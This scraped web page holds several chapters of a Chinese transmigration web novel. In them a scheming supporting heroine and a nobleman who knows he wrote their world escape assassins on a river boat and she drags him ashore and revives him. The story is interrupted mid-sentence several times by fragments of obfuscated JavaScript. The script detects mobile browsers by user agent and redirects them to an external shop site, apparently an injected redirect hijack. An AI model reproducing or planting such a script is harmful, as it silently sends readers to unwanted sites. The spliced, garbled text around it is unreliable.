l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514991|203151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么。 跳跃的烛火映照着他清隽微霜的面容。 他手执一管兼毫，蘸了浓墨，却迟迟没有落笔，任由那饱满的墨滴悬在尖端，摇摇欲坠。 【警报：主线偏离度已达阈值。重要女配‘姜绵’已强行接入进京支线。】 一道冰冷、毫无起伏的机械音，毫无预兆地在陆知舟的脑海深处突兀响起。 陆知舟神色未变，连眼皮都未曾掀动一下。他在意识里冷冷地回应：“偏离？若非我愿意救她，她此刻已在江底喂了鱼。这难道不是拜你这破败的剧情修补机制所赐？” 脑海中的声音沉默了一瞬，随即装死般匿了下去，只留下一丝若有若无的电流杂音。 陆知舟垂下眼睫，看着宣纸上晕开的一点墨迹，眼底翻涌起难以名状的嘲弄与苍凉。 系统。 这个荒诞至极的存在，是在他这一世长到十四岁那年，才正式找上他的。 在十四岁之前，陆知舟一直以为自己只是个得天独厚、带着前世记忆重生的古代土著。 他的“前世”，不过是这泱泱大宣里一个伶仃孤苦、命途漂泊的小乞儿。 没有世家光环，没有金榜题名，只有食不果腹的凄苦，和最终被权贵如蝼蚁般榨干骨髓、惨死街头的结局。 重活一世，投胎成了钟鸣鼎食的陆氏嫡孙，他本以为这是老天开眼，让他这只蝼蚁有了翻云覆雨、报仇雪恨的机会。 直到十四岁生辰那夜的一场大梦。 梦中，他的灵魂仿佛被撕裂，脑海中陡然炸响了这道毫无感情的机械音： 【系统已激活。】 【宿主身份确认：造物主。】 【主线任务：请将剧情推进至作者卡文处——恶毒女配姜绵死亡之后。】 【任务奖励：故事结局达成，可返回原世界。】 那夜，他从床榻上惊悸而起，浑身冷汗如瀑。 他一度以为自己是被两世截然不同的悲喜记忆折磨成了失心疯。可紧接着，属于现代社会的记忆，如同决堤的洪水，蛮横地、一段段地灌入他的脑海。 高楼林立、车水马龙、电脑屏幕上闪烁的光标…… 直到那一刻，他才终于无法反驳一个恐怖的事实——眼前这个连呼吸都带着泥土腥气、真实到令人发指的大宣天下，居然只是一个虚构的世界！ 这是他在现代为了迎合市场，亲手敲下的一本大女主宅斗宫斗爽文，名叫《嫡女承欢记》。 何其可笑！何其荒谬！ 他曾在这真实无比的虚构世界里，真真切切地饿过肚子，真真切切地挨过打，甚至死于非命！ 他曾在意识里愤怒地质问那该死的系统：既然自己是高高在上的造物主，为何还会拥有那段记忆惨痛的“乞儿前世”？！ 而系统的回答，冷漠得让人想发笑。 它说自己是一个帮助卡文作者疏通卡文的系统，当时是还陆知舟自己报名的。 它说，当初抓取作者灵魂时程序出现了严重错乱，不慎将他丢进了一个连名字都没有的“路人甲”躯壳里。 直到那个路人甲走完了横死的既定命运，系统才察觉异常，好在后续成功启动了修正程序，将他的灵魂塞进了背景强大的男二“陆知舟”体内，费尽千辛万苦地联系上了他，一切都还有转圜的余地。 “转圜的余地……” 陆知舟喃喃自语，手中的兼毫重重地搁在青瓷笔架上，发出一声脆响。 8. 血刃腥 若是一个刚穿越来的现代人，或许会把这当成唯一的救命稻草。 可对陆知舟而言，那高楼林立的现代记忆，反而才是一场遥远且失真的大梦。 两世的摸爬滚打，早让他骨子里的血肉与这个时代彻底融为一体。 饥饿的灼痛、权力的腐朽、前世惨死时不甘的嘶吼……这些远比键盘上敲下的文字要真实千万倍。 到底哪一个才是真实的他？ 是那个高高在上敲击键盘的创世者？是那个饿死在街头的卑贱乞儿？还是如今这个满手算计、深陷朝堂泥沼的世家子弟陆知舟？ 他对回到那个按部就班的现代社会，其实并没有那么大的执念。 可若要说要想尽一切办法回到现代……每当午夜梦回，第一世被权贵践踏至死的戾气与不甘，又会在他心底如野草般疯长，叫嚣着想要掀翻这吃人世道。 他不甘心做系统的傀儡，却也厌恶这千疮百孔的大宣。 他不知道自己最终会走向哪条路——是留在这局棋里杀个天翻地覆，还是冷眼旁观到大结局，挥一挥衣袖回到那个模糊的故乡？ 好在陆知舟是个合格的弈者。 真正的弈者，永远会给自己留一条退路。 路都在脚下，他从不把鸡蛋放在同一个篮子里。 所以，哪怕他亲自查验过那只香囊，确认了姜绵如今还是那个心机深沉不择手段的恶毒女配。 哪怕他比谁都清楚隔壁舱房里的少女是个怎样阴险狠毒、为达目的不择手段的毒蛇，也愿意放任她李代桃僵。 姜绵不能死在这里，她必须死在既定剧情节点上。 于是他只能硬生生地忍着那份厌恶，捏着鼻子捎她去汴京。 而在这场巨大的剧情齿轮里，姜绵更不能嫁给王家做填房，更不能死在半路的流寇手里。 为了铺平她回家的路，在到达汴京那个宿命的刑场之前，他不仅不能动她一根手指头，甚至还要在她作死跌倒时，亲自将她扶起来。 陆知舟靠在椅背上，抬手揉了揉突突直跳的眉心，听着隔壁隐约传来的咳嗽声，眼底的寒意寸寸结冰。 “姜绵……你最好，命硬一点。” …… 接下来的几日，江面上的日子出奇的平静。 姜绵和陆知舟本就两看生厌，各自心怀鬼胎。一个风寒未愈、身子虚弱，另一个则是晕船晕得天昏地暗、自顾不暇。 于是，两人十分默契地谁也没去触谁的霉头，竟也就这么相安无事地度过了几日。 直到第四日的傍晚，姜绵的身子终于好得七七八八了。 连日里被憋在这逼仄的客舱里，又有炭炉烘着，也闷得人胸口发慌、喘不过气。她趿拉着软鞋，轻手轻脚地走到窗边，推开了一道细缝，想透透气。 江面上的浓雾尚未完全散去，冷风夹杂着水汽扑面而来，激得她头脑清醒了些。 与此同时，她目光随意地往江面上一扫，动作却倏地僵住了。 不对劲。 就在客船后方不足百丈的浓雾里，不知何时竟悄无声息地冒出了几艘吃水极浅的乌篷小渔船。 那些渔船没有点灯，像幽灵一般借着水流的掩护，正呈扇形的包抄之势，朝着他们这艘大船极速逼近！ 更要命的是，借着黯淡的天光，姜绵清清楚楚地看到，那些小渔船的甲板上，密密麻麻地蛰伏着一片黑压压的人影。 皆是蒙着面、穿着黑衣的彪形大汉。 她揉了揉眼睛，发觉自己绝没有看错。 雪亮的刀光在雾气中若隐若现，透着令人胆寒的杀意。 姜绵瞳孔骤缩，头皮瞬间炸开，浑身的血液“轰”地一下凉透了。 王家人？！ 她脑海中闪过的第一个念头，便是那群阴魂不散的王府家丁。 可她怎么也没想到，这群人竟然疯到了这种地步！为了抓她一个手无缚鸡之力的弱女子，不仅追到了水路上，甚至还敢动用这么大批的死士来截杀去汴京的大船？！ 这简直是群咬住骨头就不撒嘴的疯狗！ 姜绵死死扒着窗沿，呼吸急促得像破风箱。 她这几日早就摸清了，这艘看似气派的双层客船上，除了几个手无寸铁的艄公，就只有晓康和卫民两个贴身侍卫！ 哪怕那侍卫武功再高，对上这群蜂拥而至的亡命之徒，也绝对是双拳难敌四手。 他们那个病歪歪、这几日吐得连房门都没出过的文弱主子，此刻只怕连提剑的力气都没有！ 如此悬殊的兵力，这船上的人必死无疑！ 逃！必须马上想办法逃！ 但在跳江逃命之前，必须先把水搅浑，把那主仆三人拖出来当挡箭牌，为自己争取时间！ 她轻手轻脚地将窗棂合严实，只留了一丝细微的缝隙。 转身飞快地将装有文书和盘缠的包袱死死绑在胸前，连鞋跟都没提好，便像只狸奴一般，悄无声息地滑出了客房。 江风呼啸，船舱外的走廊上昏暗一片。 晓康正抱着剑，靠在陆知舟的卧房门外打着盹。连日来江面太平，他又时刻忧心主子晕船的毛病，难免有些精神不济。 就在他头一点一点、即将陷入沉睡时，一只冰冷发颤的手猛地从阴影里伸出，死死捂住了他的嘴！ “唔——！” 晓康双眼猛地睁圆，浑身肌肉瞬间紧绷，下意识就要拔剑出鞘。 “别出声！是我！” 姜绵将声音压到了极低，气音里透着不容置疑的急迫。 她紧紧盯着晓康的眼睛，另一只手指了指船尾浓雾的方向：“后面……有五六艘小渔船贴过来了！船上全是穿着水衣的带刀大汉，马上就要登船了！快去知会你家主子和卫民大哥！” 晓康闻言，瞌睡瞬间飞到了九霄云外，背脊猛地一僵。 到底是靠岸求医暴露了行踪，他不可置信地顺着姜绵指的方向看了一眼，虽然被船体挡着看不见，但习武之人的耳力，已然隐隐捕捉到了水面上极其细微、却整齐划一的拨水声。 有埋伏！而且数量极多！ 晓康难得感激地看了姜绵一眼，生死关头倒是压下了自己对她的恶意，压低声音急促道：“多谢沈姑娘示警！姑娘快回房躲好，不论听到什么动静都别出来！我去叫主子！” 说罢，晓康一把推开卧房的门，闪身冲了进去。 看着晓康消失在门后，姜绵苍白的唇角勾起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514992|203151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一抹转瞬即逝的冷弧。 回房躲好？等死吗？ 她没有半分犹豫，转身便借着船舷阴影的掩护，像一条滑不溜手的泥鳅，贴着墙根，悄无声息地朝着船尾存放逃生小舟的方向摸了过去。 死道友不死贫道。 陆知舟，委屈你们主仆三人，先替我挡一挡这夺命的刀光了！ 江风凛冽，寒雾沉凝，几欲化实。 姜绵借着夜色与船体阴影的掩护，一路屏息凝神，终于摸到了客船尾部。 一叶用于靠岸逃生的乌篷小舟正用粗麻绳拴在木桩上，随着水波上下起伏。 姜绵心头狂跳，指尖刚触碰到那粗糙湿冷的麻绳，正欲将其解开—— “啪！” 一声令人毛骨悚然的闷响，毫无预兆地在咫尺间炸开！ 一只湿漉漉、指骨粗大且布满厚重老茧的手，猛地拍在了她眼前的船舷上！ 姜绵吓了一跳。 那绝对是一双常年握刀、杀人饮血的手！ 姜绵的呼吸瞬间凝滞，瞳孔骤然紧缩。 紧接着，一个身穿黑色的壮硕身影，犹如水鬼般带着一身刺骨的江水，矫健地从船舷外翻跃而上！ 蒙面黑布上方的一双倒三角眼透出残忍的凶光，那杀手显然也没料到船尾竟躲着个活人。 他连半句废话都没有，反手拔出背上雪亮的钢刀，带起一阵凌厉的破风声，直接朝着姜绵的脖颈当头劈下！ 不妙！ 姜绵在心底发出一声绝望的尖啸，求生的本能让她死死用双手捂住嘴巴，将那破喉而出的尖叫硬生生堵在嗓子眼里，随后不顾一切地连滚带爬往后暴退。 刀锋堪堪擦着她的发丝掠过，削断了一缕青丝。 她根本不敢回头，脑子里只有一个念头：逃！她还不能死！ 然而，甲板上满是湿滑的水苔。姜绵脚下一跘，整个人重重地跌摔在坚硬的木板上。 身后的劲风再次袭来，裹挟着浓烈的杀意，那杀手已经高高举起了屠刀。 就在姜绵以为自己这刚捡回来的第二条命又要交代在这里时—— “噗嗤——！” 一声令人牙酸的、利刃丝滑地刺穿血肉的闷响，在姜绵的头顶骤然响起。 预想中身首异处的剧痛并没有落下。 一截滴着温热鲜血的剑尖，硬生生从那名黑衣杀手的前喉透了出来。 那杀手喉咙里发出一阵漏风的“咯咯”声，高举的钢刀“哐当”落地，庞大的身躯像座肉山般轰然倒塌，擦着姜绵的肩膀重重砸在甲板上。 温热黏腻的血腥气，瞬间在冷冽的江风中弥漫开来。 姜绵跌坐在地，惊魂未定地喘着粗气。她煞白着一张小脸，颤巍巍地顺着那具倒下的尸体往上看去。 率先映入眼帘的，是一片眼熟的月白色暗纹衣摆，以及那件曾将她严丝合缝包裹过的、昂贵且显眼的玄色大氅。 陆知舟？！ 他不是晕船正难受着么，竟然能在瞬息之间一剑杀敌？！ 姜绵难以置信地抬起眼眸。然而，当她彻底看清那件大氅之下握剑之人的面容时，她才毫不意外地舒了口气。 哦，原来是卫民。 9. 寒江涩 卫民抹了一把脸上的溅血，神色凝重地对跌坐在地的姜绵急促道：“沈姑娘，贼人势众，且从四面八方登船。如今这艘大船已成了活靶子，咱们根本躲不了！” 他指了指姜绵身后用粗麻绳拴着的乌篷小舟，语速极快：“为今之计，只有我和晓康去水里和前甲板闹出动静，拼死引开这群杀手。你趁乱带着我家主子乘这艘小舟离船逃生！” 姜绵愣住了。 江风一吹，她那被惊恐填满的脑子忽然“嗡”地转过了一个清晰的弯来。 等等！ 若这群杀手真的是山阴县王家派来抓她的疯狗，那卫民和晓康要想引开他们，难道不该找个人换上她姜绵的衣裳做诱饵吗？！ 可现在，卫民身上却明晃晃地披着陆知舟那件最惹眼、最华贵的玄色大氅！ 这不对啊？ 这群训练有素的黑衣人，根本就不是冲着她姜绵来的！他们是冲着这陆知舟来的！ 想通了这一层的姜绵，气得差点一口老血吐出来。 合着她刚才在心里疯狂算计、甚至还隐隐有一丝拖累别人的心虚，全都是自作多情！ 这根本不是她惹来的祸水，而是这陆知舟本就自作孽，不可活！ 可待姜绵刚想细细盘问，“那群贼人……” “放心吧，我们身手极好，能全身而退。”听得卫民笃定道。 姜绵心中叹气，她想问的不是这个。 “杀——！” “别留活口！一个都不能放过！” 震天的喊杀声夹杂着杂乱的脚步声，从前舱方向猛地爆发，瞬间打断了姜绵的质问。 前舱猛地爆出震天的喊杀声。 杂乱的脚步踩碎了夜风，生生掐断了姜绵的质问。 浓雾翻滚。晓康几乎成了一个血人，手腕翻转间挑开两柄长刀，踹开一具尸体，从重重杀局里硬劈出一条活路来。 他身侧，死死架着一个高挑的人影。 陆知舟。 这位素来清风霁月、端方入骨的世家公子，此刻正陷在极度的晕船症里。脚步虚浮，双唇惨白，鹤氅上溅了几滴触目惊心的暗红，模样好不狼狈。 刀剑铮鸣，血肉横飞。 他强捱下不适，睁开眼睑。 夜色下，那双眼底却找不到半点迷糊与病态。如同出鞘的冷剑，只余下彻骨的清明。 “卫大哥！快顶不住了！”晓康嘶吼着，与卫民迅速汇合。 “沈姑娘，主子就交给你了！请你带着他坐小舟走！” 晓康一把将陆知舟推进了最深邃的暗处，正好推到了姜绵的身边，转身便同卫民一起迎向了那群如潮水般涌来的黑衣杀手。 浓烈的血腥气和兵刃交接的刺耳声在咫尺间炸开。 姜绵被逼到了绝境，此刻也顾不上计较到底是谁连累了谁，更顾不上骂陆知舟这个扫把星。 只要这群杀手是为了灭口而来，她这个同乘一条船的外人也绝对活不了！ 她借着阴影的掩护，猛地扑到木桩前，一双冻得通红的手止不住地打着哆嗦。 “该死……解开啊！快解开！” 那拴着小舟的粗麻绳被江水泡得又肿又硬，死死地扣在木桩上。 姜绵急得满头大汗，连指甲都扣烂了，指尖渗出鲜血，却依然拼命地抠挖着那个被泡胀的死结。 眼看着前方的防线就要被黑衣人冲破，卫民和晓康的怒吼声近在咫尺。 就在姜绵绝望得想要上牙咬的时候—— 身侧，一道冰冷的杀意，毫无预兆地从江水中猝然暴起！ 一个一直蛰伏在船沿外的杀手，不知何时如同鬼魅般翻了上来，正悄无声息地出现在姜绵的身后。 雪亮的钢刀高高举起，在这幽暗的雾气中，带起一阵令人窒息的凌厉破风声，直接朝着姜绵毫无防备的脖颈劈砍而下！ 待姜绵反应过来，已经为时已晚。 由于恐惧与动作惯性，她整个人僵硬地趴在木桩上，不知该往何处躲避。 就在这千钧一发之际，原本靠在暗处、脸色惨白如纸的陆知舟，猛地动了。 他硬生生地爆发出了一种超越生理极限的狠劲。 在姜绵错愕的目光中，陆知舟那只由于连日吃不下饭而微微颤抖的手，却精准而地按在了她的肩膀上，不由分说地将她朝着旁边狠狠推了出去！ “砰”的一声。 姜绵由于巨大的推力，整个人扑出去好远，重重地跌摔在坚硬滑腻的甲板上。 与此同时—— “刺啦——！” 一声令人牙酸的、利刃丝滑地划破血肉的闷响，在姜绵惊惧的尖叫声里骤然炸开。 陆知舟推开了她，可他自己，却结结实实地替她挡下了这一刀。 锋利的钢刀带着十足的惯性，狠狠劈砍在他的肩背处，厚实的衣料瞬间撕裂。 剧烈的痛感瞬间席卷全身，他那张素来清隽微霜的面容，血色顷刻间褪得干干净净，身形踉跄着晃了晃，却还是强撑着没有倒下。 “陆郎君——！” 脑中“嗡”地一声白光炸裂。 恐惧到了极点，反倒烧成了一把冷得透骨的邪火。 鲜血洇透了陆知舟的氅衣，那刺客狞笑着上前一步，手起刀落，眼看就要补上最后一道死手。 姜绵死死盯着那个偷袭的黑衣人，眼底的恐惧瞬间被一股近乎癫狂的生存欲给填满。 在这生死悬于一线的一刻，她猛地从地上捡起之前那个被卫民刺死的杀手掉落的钢刀。 她死死握着冰冷的刀柄。 就在这一瞬——她眼中所有柔弱无依的伪装尽数褪去。 姜绵毫无预兆地暴起。 她单薄的身影像一道撕裂夜风的残影，手中利刃携着十成十的狠绝，“噗嗤”一声闷响，生生掼入黑衣人的左胸！ 刀锋没入血肉，直取心脏。 黑衣人浑身一僵，庞大的身躯被这股冲力带得踉跄。 姜绵没有拔刀。 她那张因江水浸泡而惨白的脸上，根本找不出半点惧色。细瘦的指骨死死攥住刀柄，眼底陡然划过一抹极度诡异的兴奋。 接着，她手腕猛地一翻。 那把插在心脏里的利刃被她握着硬生生绞着转了一整圈。 令人牙酸的血肉碎裂声，在冷冽的江风中被无限放大。 黑衣人连惨叫都没来得及发出，庞大的身躯如肉山般轰然塌陷，擦着姜绵的肩膀重重砸在甲板上，震得周遭的船板剧烈一颤。 温热黏稠的血柱瞬间喷涌，泼墨般溅了姜绵半张脸。 血珠子顺着她的下颌，纤细的脖颈，滴滴答答地往下淌。 她连抬手擦一下的念头都没有，顶着半张淋漓的血脸，缓缓直起了腰。 浓重的血腥气在江风里瞬间炸开。 她都没看地上一眼的死尸一眼，那双还在不受控制地战栗的手，已经反握住染血的钢刀，转身朝着木桩上那截泡胀的粗麻绳狠狠劈了下去！ “铮——！” 凭十指根本抠挖不动的死结，在锋利的刀刃下瞬间崩裂。 失去束缚的乌篷小舟重重地砸在水面上，溅起一片水花。 “陆知舟……你给我撑住！你绝对不能死在这儿！” 姜绵一把扔了刀，连滚带爬地扑向半跪在地的少年。 她那一双沾满泥污与血渍的手，死死捂住他身后正往外疯狂涌血的刀口。 滚烫的鲜血顺着她的指缝不断溢出，那骇人的温度烫得她浑身发抖。 她咬碎了牙关，喉咙里溢出急促的喘息，另一只手臂死死架住他高大沉重的身躯。 哪怕陆知舟身形清瘦，可一个成年男子失去意识后的死重，对于大病初愈的姜绵来说，依旧宛如一座大山。 她几乎是用尽了浑身最后一丝力气，半是搀扶半是拖拽，硬生生将他拽到了船舷边，两人犹如两袋沉重的麻袋，直直地跌进了那艘剧烈摇晃的乌篷小舟里。 “砰”的一声闷响，两人狼狈地砸在狭窄的木板上。 姜绵根本不敢有半秒钟的停歇，更顾不上浑身快要散架的剧痛。她手脚并用地爬向船尾，一把抄起船橹，拼了命地摇动起来。 “吱呀——吱呀——” 沉重的木橹在湍急的江水中发出不堪重负的嘶哑声。 姜绵其实并不知如何摇橹，她全凭着一股求生本能，将全身的重量都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜绵一把揪住他的衣襟。那手沾着血污，毫不客气地拍上他惨白如纸的面颊。 “醒醒！别睡了！”她嗓音极哑，语速极快，“追兵咬上来了，准备跳水！” 陆知舟艰难地掀起沉重如铅的眼皮。 他此刻已经彻底脱力，失血的寒意与翻江倒海的恶心死死绞着他。听着身后逼近的划桨声，再看向舱外那深不见底、冒着森然寒气的黑水—— 那双素来泰山崩于前而色不变的黑眸里，竟破天荒地浮起一丝惨烈的、生理性的抗拒。 “我畏水……” 他死死抠住身下的木板，指节用力到泛出死灰。 嗓音嘶哑得犹如破损的风箱，每个字都透着生不如死的煎熬。 “你带着我，必死无疑。不若……你自己走。” 都到了这个时候，他竟然还叫她一个人跑？ 姜绵脑子里那根紧绷的弦“啪”地一下断了。 她一把死死揪住他的领子，双眼熬得通红，此刻也顾不上自己县令千金的伪装了，她难以置信的破口大骂。 “若不是你替我挨了那一刀，你以为我乐意救你这尊大佛？！我早八百年就把你一脚踹下船自己跑了！” “现在我都因为你耽搁了这么多逃命的功夫，你这时候跟我说你不想活了？！” 她死死盯着陆知舟那双因为虚弱而逐渐涣散的黑眸，几乎是咬牙切齿地发狠道：“凭什么你们这群生在云端上的人，总是把生死说得如此轻巧！我为了活下去连烂泥都肯吃，你想死？我偏不让！” 说罢，姜绵哪管他什么陆知舟水知舟的，她一把揪住陆知舟的腰带，冲着他劈头盖脸地大喊了一声：“闭气——！” 下一瞬，在陆知舟错愕且骤然紧缩的瞳孔中，姜绵不知哪来的牛劲，一脚将他从船舷边缘狠狠踹进了冰冷刺骨的江水里！ “噗通！” 巨大的水花溅起，陆知舟甚至连一句抗议都没来得及发出，冰冷刺骨的江水便瞬间将陆知舟彻底吞没。 10. 返魂香 四面八方都是水。 深不见底的幽暗犹如一头张开血盆大口的巨兽，咆哮着往他的口鼻、耳膜里倒灌。 汴京陆氏的嫡孙，母家祖籍在江南，水乡长大的探花郎，原该是极识水性的。 可此刻，在这具不断下坠的尊贵躯壳里，拼命战栗尖叫的，却是另一个刻满了前世创伤的灵魂。 刀伤的剧痛在冰水中被无限放大。胸腔里的空气被一丝丝绞干，肺腑烧得几乎要炸裂。 窒息绝望感毫不留情地剥夺了所有的理智。 意识抽离的刹那，那些被他死死压在识海最深处的记忆，借着这漫天漫地的水汽，轰然破闸。 那是他作为大宣土著的第一世。 那时，他连个大名都没有，像条野狗一样在街头巷尾里讨食，街坊邻居都唤他“阿狗”。 阿狗是个无父无母的孤儿。在那个饿殍遍野的寒冬，他蜷缩在某个小巷角落，饿得只剩下一口游丝般的气。 视线模糊间，连不远处的真野狗，都流着涎水等着啃他的骨头。 是码头扛包的脚夫王叔，半是怜悯半是施舍地，往他怀里塞了一个硬邦邦的、沾着灰的冷馒头。 那个馒头，把阿狗从阎王爷手里硬生生拽了回来。 从那之后，阿狗成了王叔的小尾巴。 王叔扛包，他就跟着搭把手，他偶尔也会帮忙跑腿挣铜板给王叔买馒头孝尽。 王叔也会把阿狗带回自己家，让阿狗做到餐桌上和他的妻女一起吃饭。 一度，阿狗以为自己有家了。 直到有一日，王叔满脸兴奋地拉着他说，有几艘走水路运粮的大船缺人手。 他们若是能上船当一回押粮的船工，这一趟跑下来，便能赚一票大的，以后再也不用在码头扛包受人白眼了。 阿狗满怀希冀地跟着去了。 可是，那票“大的”他到底没赚到。 那夜狂风骤起，自江南北上的一纲漕船正衔尾行驶在运河中段，不敢稍停。 为防浪击失散，二十余艘大船以粗缆首尾相系，如长蛇般在浊浪中艰难前行。 不知是舱中灯烛倾翻，还是何处窜起的火星，被狂风一卷，瞬间便舔上了篷布与粮袋。 风助火威，不过顷刻之间，火逐船行、船随火走，整纲船队连片引燃。 整整二十五艘漕舟，转眼便化作一片烧透半边天的烈火地狱。 烟焰蔽江，木板爆裂的巨响与船工们凄厉的惨叫声混作一团。 船队仍在河道正中，前无滩涂可避，后无舟楫可逃，两侧皆是深水急流。 火舌贪婪地舔舐着甲板，四周皆是令人窒息的滚烫浓烟。 眼看整艘船就要彻底烧塌沉江，在这十死无生的绝地里，是王叔死死扣住了他的肩膀。 那个素来憨厚粗粝的汉子，在火光与颠簸中用尽全身最后的一丝力气，将他狠狠推出了被烈焰包围的船舷。 那双粗糙的大手将他推入骇人的深渊，却也是在拿命替他搏那水下十分之一的生机。 阿狗被狠狠砸进了浑浊冰冷的江水里，而王叔的身影，却连同那纲官船一起，被彻底吞没在冲天的烈焰与断裂的残骸之中。 他不想死。他还想攥着赏钱去给王叔买酒。 他在漆黑的漩涡里拼了命地洑水，拼了命地蹬动四肢，喉咙嘶哑地求救，想要扒住哪怕一块巴掌大的碎木。 可是没用。 那是无穷无尽、冰冷刺骨的水。 他那具常年挨饿、瘦骨嶙峋的躯体，在深不见底的江渊面前，渺小得犹如蚍蜉撼树。 一如现在。 幽暗，冰冷，沉陷。 四周全是吃人的水。 无论他怎么拼命挣扎，怎么嘶哑呼救，换来的只有疯狂灌入肺腑的泥沙。 就在他的意识即将彻底陷入黑暗、向宿命妥协的那一刹那——水波剧烈翻滚。 一只纤细、温热，却爆发出惊人生命力的手，猛地从水流的暗影中破出，死死揪住了他的衣领！ 姜绵没有半分迟疑。她飞快地抬头看了一眼风向，随后用尽全身力气，将那艘空荡荡的乌篷小舟朝着顺风顺水、截然相反的方向狠狠推了一把！ 小舟如离弦之箭般顺着水流朝下游飘去，成了一个完美的诱饵。 做完这一切，姜绵深吸了一大口冰冷的空气，犹如一条决绝的游鱼，猛地一头扎进了黑沉沉的江水中。 入水的瞬间，隆冬的寒意犹如无数根冰针，瞬间刺穿了她的四肢百骸。 她在浑浊的水下飞快地睁开眼，一把薅住了正因为极度畏水而本能挣扎下沉的陆知舟的衣领。 她死死勒住他，就像当初在这条江里不要命地洑水求生一样，她拖着这个沉重的累赘，拼了命地朝着长满芦苇的江岸游去。 冰冷的江水褪去，粗糙的砂石硌着脊背。 意识在无边的黑暗中沉沉浮浮。陆知舟恍惚间以为自己又回到了第一世那个倾覆的运粮船底。 其实那一次，阿狗并没有直接淹死在水里。 在那个肺部即将炸裂的时候，也曾有一双瘦小、却倔强的手，拼了命地将他从浑浊的江底死死拽了上来，拖到了一块浮木上。 他记不清那个小女孩的脸了，只记得那双通红的、熬着血丝的眼睛，和她一边发着抖、一边用干瘦的拳头拼命砸他胸口，试图让他把水吐出来的狠劲儿。 “……醒醒！陆知舟你给我醒过来！” 耳边仿佛有利刃划破了时空的混沌，一道嘶哑、气急败坏的女声，裹挟着凌厉的寒风，猛地灌入了他的耳膜。 胸腔传来一阵规律、却又重如千钧的按压。 每一次按压，都精准地避开了他背部那道深可见骨的刀伤，却又毫不留情地挤压着他蓄满江水的心肺。 “咳……咳咳！” 陆知舟喉结发出一阵痛苦的剧烈痉挛，猛地偏过头，呕出了一大口混合着血丝的浑浊江水。 他艰难地掀起重如千斤的眼皮。 头顶是隆冬江畔被浓雾遮蔽的惨淡下弦月。 而视线正上方，正坐在他身侧、双手交叠死死按在他胸骨上的，是一个浑身湿透、发丝凌乱贴在面颊上的少女。 姜绵喘得像只破风箱，苍白的脸上沾满了泥水和血迹。 那一双清泠泠的秋水眸，此刻熬得通红，透着一股不把人从阎王爷手里抢回来誓不罢休的凶狠。 视线在水光与月色中交错、扭曲。 前世那个在浮木上死死拽着他、砸他胸口的小女孩的模糊轮廓，竟在这一瞬间，与眼前这个为了活下去不择手段的恶毒女配，诡异地重叠在了一起。 陆知舟的瞳孔猛地瑟缩了一下，连呼吸都忘了。 “看什么看！没死就赶紧喘气！” 见他终于睁了眼，姜绵紧绷到极致的神经猛地一松，整个人脱力跌坐在满是泥泞的芦苇荡里。 她甩了甩因为用力过度而止不住发抖的双手，看着陆知舟那副仿佛见了鬼般直勾勾盯着自己的模样，心头那股被连累的邪火顿时压不住了。 姜绵一边打着寒战 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514994|203151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，一边冷笑着骂出了声：“堂堂探花郎，好大的威风！真该让满京城的人都来看看你刚才在水里那副半死不活的德行！” 她抹了一把脸上的江水，咬牙切齿，每一个字都精准地往他的肺管子上戳：“我原以为你陆知舟是个什么了不得的人物。真是天大的笑话，名字里偏偏带了个‘舟’字，居然还畏水畏成了这副窝囊样！早知如此，你爹娘当年就该给你起名叫陆知旱！” 这夹枪带棒的一番痛骂，在这寒风刺骨的荒野里，却诡异地透着一股鲜活的滚烫热度。 陆知舟胸口剧烈地起伏着，伤口的剧痛和喉咙里的涩意让他连一句反驳的话都说不出来。 他躺在泥泞里，任由她指着鼻子痛骂。 那双幽深清冷的黑眸，就这么静静地倒映着姜绵气急败坏的面容，唇角竟不受控制地，扯出了一抹微弱、却又复杂的嘲弄弧度。 陆知旱…… 这世上，敢指着他陆知舟的鼻子，骂他窝囊、甚至调侃他名讳的，恐怕也就只有眼前这个姜绵了。 姜绵力竭地大喘了一口气，叹道：“算了，你能活过来就说明我是个有本事的。” 江风呼啸，芦苇荡里冷得像个冰窖。 两人在泥泞里死死蛰伏了小半个时辰，直到江面上的火光和搜寻的呼喝声彻底远去，姜绵才终于长舒出一口白气。 不能再在这里待下去了。 隆冬腊月，两人浑身湿透，陆知舟还受了重伤，若是不赶紧找个避风的地方生火，等不到天亮就得活活冻死在这泥沼里。 “起来！别装死！” 姜绵咬着牙，将冻得僵硬的陆知舟从泥地里硬生生架了起来。 男人的大半个身子如同一座冰山般压在她的肩头，压得她双腿一软，险些再次跪倒在地。 从江岸到不知名的荒野，每一步都像是在刀尖上蹚血。 为了不让陆知舟彻底昏死过去，也为了发泄心头那股被连累的憋屈，姜绵一路上那张嘴就没停过，犹如淬了毒的刀子，刀刀见血地往这位世家公子的肺管子上扎。 